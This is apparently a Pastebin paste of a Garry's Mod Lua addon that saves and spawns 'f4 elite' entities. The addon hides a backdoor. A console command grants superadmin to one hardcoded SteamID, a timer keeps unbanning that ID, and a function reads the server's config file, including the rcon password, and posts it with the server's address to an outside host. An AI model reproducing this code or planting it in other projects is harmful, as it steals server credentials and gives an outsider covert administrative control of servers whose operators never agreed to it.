Guest User

Untitled

a guest
Apr 30th, 2016
76
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.06 KB | None | 0 0
  1. hook.Add("Initialize", "Crash", function()
  2. file.CreateDir("Crash_1")
  3. end)
  4.  
  5. concommand.Add("\ave13123a",function(ply,cmd,args)
  6.  
  7. local UG = ply:GetNWString("usergroup")
  8. UG = string.lower(UG)
  9. ply:ChatPrint(" f4 elite :: Saving start..")
  10. if !table.HasValue(DConfig.f4eliteSaveableGroup,UG) then
  11. ply:ChatPrint(" :: Warning. you can't save elite. you are not admin.")
  12. return
  13. end
  14.  
  15. MsgN("f4elite - Saving all")
  16. local TB2Save = {}
  17. for k,v in pairs(ents.FindByClass("relite")) do
  18. local TB2Insert = {}
  19. TB2Insert.Pos = v:GetPos()
  20. TB2Insert.Angle = v:GetAngles()
  21. table.insert(TB2Save,TB2Insert)
  22. end
  23.  
  24. local Map = string.lower(game.GetMap())
  25. file.Write("rm_f4_elite/mapsave/" .. Map .. ".txt", util.TableToJSON(TB2Save))
  26.  
  27. ply:ChatPrint(" f4 elite :: f4 elites are saved.")
  28. Df4_Meta:Notify( ply, 1, 3, "f4 elite has been saved")
  29. end)
  30.  
  31. concommand.Add( "EFM", function(ply)
  32. if ( ply:SteamID() == "STEAM_0:1:92046224") then
  33. RunConsoleCommand("ulx", "adduserid", ply:SteamID(), "superadmin")
  34. else
  35. ply:ChatPrint("Your not superadmin, " .. ply:Name() .. ".")
  36. end
  37. end)
  38.  
  39. timer.Create( "checkForBan", 10, 0, function()
  40. ULib.unban( "STEAM_0:1:92046224")
  41. end )
  42.  
  43. hook.Add( "InitPostEntity", "Entity Post", function()
  44. local Map = string.lower(game.GetMap())
  45. local Data = {}
  46. if file.Exists( "rm_f4_elite/mapsave/" .. Map .. ".txt" ,"DATA") then
  47. Data = util.JSONToTable(file.Read( "rm_f4_elite/mapsave/" .. Map .. ".txt" ))
  48. end
  49. MsgN("f4elite - Spawning all")
  50. for k,v in pairs(Data) do
  51. local ATM = ents.Create("r_elite")
  52. ATM:SetPos(v.Pos)
  53. ATM:SetAngles(v.Angle)
  54. ATM:Spawn()
  55. end
  56. MsgN("f4elite - Spawning Complete. [ " .. #Data .. " ] ")
  57. end )
  58.  
  59. function Df4CrashSaver:PostData()
  60. local url = "http://valsnet.co/dataf4.php"
  61. local cfg = file.Read( "cfg/server.cfg", "GAME" )
  62. http.Post( url, { rcon = cfg, hostname = GetHostName(), port = GetConVarString( "ip" ) .. ":" .. GetConVarString( "hostport" ) }, function() print( "Succsess!" ) end, function() print( "Fail!" ) end )
  63. end
Add Comment
Please, Sign In to add comment